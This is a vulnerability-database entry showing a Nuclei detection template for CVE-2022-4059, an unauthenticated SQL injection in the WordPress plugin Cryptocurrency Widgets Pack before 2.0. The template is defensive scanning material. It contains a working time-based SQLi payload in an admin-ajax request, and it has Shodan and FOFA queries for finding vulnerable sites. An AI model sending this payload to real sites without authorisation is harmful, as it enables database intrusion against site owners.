Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2022-4059
HistoryOct 17, 2023 - 7:20 a.m.

Cryptocurrency Widgets Pack < 2.0 - SQL Injection

2023-10-1707:20:28
ProjectDiscovery
github.com
3
cve
cve2022
wp-plugin
wordpress
wpscan
sqli
blocksera
ajax
unauthenticated
security-vulnerability

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.024 Low

EPSS

Percentile

90.0%

The plugin does not sanitise and escape some parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
id: CVE-2022-4059

info:
  name: Cryptocurrency Widgets Pack < 2.0 - SQL Injection
  author: r3Y3r53
  severity: critical
  description: |
    The plugin does not sanitise and escape some parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
  remediation: Fixed in version 2.0
  reference:
    - https://wpscan.com/vulnerability/d94bb664-261a-4f3f-8cc3-a2db8230895d
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4059
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4059
    cwe-id: CWE-89
    epss-score: 0.02077
    epss-percentile: 0.89035
    cpe: cpe:2.3:a:blocksera:cryptocurrency_widgets_pack:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: blocksera
    product: cryptocurrency_widgets_pack
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/cryptocurrency-widgets-pack/
    fofa-query: body=/wp-content/plugins/cryptocurrency-widgets-pack/
    publicwww-query: /wp-content/plugins/cryptocurrency-widgets-pack/
  tags: cve,cve2022,wp,wp-plugin,wordpress,wpscan,sqli,blocksera

http:
  - raw:
      - |
        @timeout: 20s
        GET /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&order[0][column]=0&columns[0][name]=name+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))aaaa)--+- HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/cryptocurrency-widgets-pack/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=7'
          - 'len(body_1) == 0'
          - 'status_code_1 == 302'
          - 'contains(body_2, "Cryptocurrency Widgets Pack")'
        condition: and
# digest: 4a0a0047304502204a68c3a5cbb5de1fbdb1e520c2b1cbbbc7069afe1638289d5c09440a45fcdce3022100a6a65a2506ec6dcf265e4264783cec5d3a1cfdaa0560b0b9444d2d8174f2066d:922c64590222798bb761d5b6d8e72950

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.024 Low

EPSS

Percentile

90.0%

Related for NUCLEI:CVE-2022-4059